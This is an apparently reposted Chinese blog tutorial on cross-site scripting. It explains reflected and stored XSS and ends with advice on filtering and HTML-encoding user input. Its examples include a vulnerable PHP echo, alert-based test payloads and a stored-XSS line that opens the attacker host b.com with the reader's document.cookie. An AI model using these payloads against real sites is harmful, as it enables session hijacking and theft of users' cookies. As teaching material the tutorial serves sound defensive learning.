美文网首页
浅谈常见web安全漏洞之XSS

浅谈常见web安全漏洞之XSS

作者: Lemon不怕酸啊 | 来源:发表于2017-02-28 15:04 被阅读0次

一、XSS简介

XSS 全称(Cross Site Scripting) 跨站脚本攻击,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,其核心就是恶意攻击者通常在web页面可输入的地方插入恶意js代码或html代码,当这个输入框没有经过安全处理的话,那么恶意js就会执行,从而窃取用户信息甚至做一些其他敏感操作。

考虑下面这个输入框:

这个输入框已经输入了“value1”,那假使我要恶意攻击的话,我不会输入value1,我会输入这个东西:

"/>alert(document.cookie)

于是,这个输入框最后得到的代码是这样:

alert(document.cookie)

看到没,非常巧妙地嵌了一个js进去了,如果我的输入框没有做任何处理,那么这个js就会执行,弹出当前浏览器的cookie。有同学会说,你这是攻击了自己啊。确实是,但是,当这个页面在别人的浏览器中加载的时候,我就可以达到攻击的目的。接下来我们看下恶意攻击者怎样攻击别人(我们不采用输入框的方式,采用url的方式)。

假设我们有一个网站a.com,一个页面地址如下:

http://www.a.com/index.php

该页面可以传一个参数x,后台处理逻辑如下:

echo $_GET['x'];

?>

如果输入x的值未经任何过滤就直接输出,提交如下:

http://www.a.com/index.php?x=alert(1)

然后我把该url或者带该url的页面通过邮件发给别人让别人去点,这时就会在用户的浏览器弹窗提示“1”。攻击者一看,哈,js能执行,这时候攻击者就会精心构造js,比如,我要构造一个js,把用户当前浏览器的cookie发给我,那么当用户访问该url的时候,cookie就被我窃取了。

上面介绍的这种xss攻击属于非持久型攻击,也就是说,这种攻击只对单个用户生效。

还有另外一种xss,叫存储型xss,提交的恶意代码会存储在服务器端。这种xss的影响范围会很大。下面来说下这种攻击。

假设a.com网站可以发文章,并且发文章的文本框没有做任何过滤处理,于是,我写了一篇文章,里面包含这样的代码:

window.open("www.b.com?param="+document.cookie)

保存后,某些用户看到了我的文章,看的那一瞬间,这个js就会执行,带着他们的cookie访问了我的网站b.com,于是,凡是看了这篇文章的人,我都能收到他们的cookie。怎么样,存储型的xss危害更大吧!

二、如何预防

XSS之所以会发生, 是因为用户输入的数据变成了代码。

用户输入的一切都是不可信的,所以我们需要对用户的输入进行处理,只允许输入合法的值,其它值一概应该过滤掉。假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换,即对用户输入的数据进行HTML Encode处理,将其中的尖括号、“与符号、单引号、双引号等之类的特殊字符进行编码,并且输出的内容也都需要经过html编码。HTML Encode一般不需要自己实现,一般都有现成的处理方法供调用。

标签:安全,xss

转载:http://www.yanyaozhen.com/archives/128/

相关文章

  • 浅谈常见web安全漏洞之XSS

    一、XSS简介 XSS 全称(Cross Site Scripting) 跨站脚本攻击,为不和层叠样式表(Casc...

  • XSS && CSRF 攻击

    XSS 攻击 XSS (Cross-Site Scripting,跨站脚本攻击)是一种常见的web安全漏洞,它允许...

  • XSS盗取cookie

    XSS定义 XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。XSS是指攻击者利用网络没有对...

  • web安全及防御 - XSS跨站脚本漏洞

    XSS又叫CSS(Cross Site Scripting:跨站脚本攻击),是最常见的Web应用程序安全漏洞之一,...

  • Spring Cloud Gateway 实现XSS、SQL注入

    XSS和SQL注入是Web应用中常见计算机安全漏洞,文章主要分享通过Spring Cloud Gateway 全局...

  • XSS攻击

    什么是XSS? XSS攻击中文全称“跨站脚本攻击”。XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用...

  • 什么是xss攻击,如何预防?

    xss(Cross Site Scripting),即跨站脚本攻击,是一种常见于web应用程序中的计算机安全漏洞。...

  • 前端安全

    XSS XSS攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提...

  • XSS攻击简单实例

    XSS为目前web常见攻击手段之一,不了解的同学可以看我的上一篇文章《常见WEB攻击之XSS攻击》 下面我演示一个...

  • 安全测试基础之 XSS

    在web项目安全漏洞中,XSS是最为流程的漏洞类型之一,今天就来介绍一下XSS。 01 — XSS介绍 跨站脚本攻...

网友评论

      本文标题:浅谈常见web安全漏洞之XSS

      本文链接:https://www.haomeiwen.com/subject/ftvxgttx.html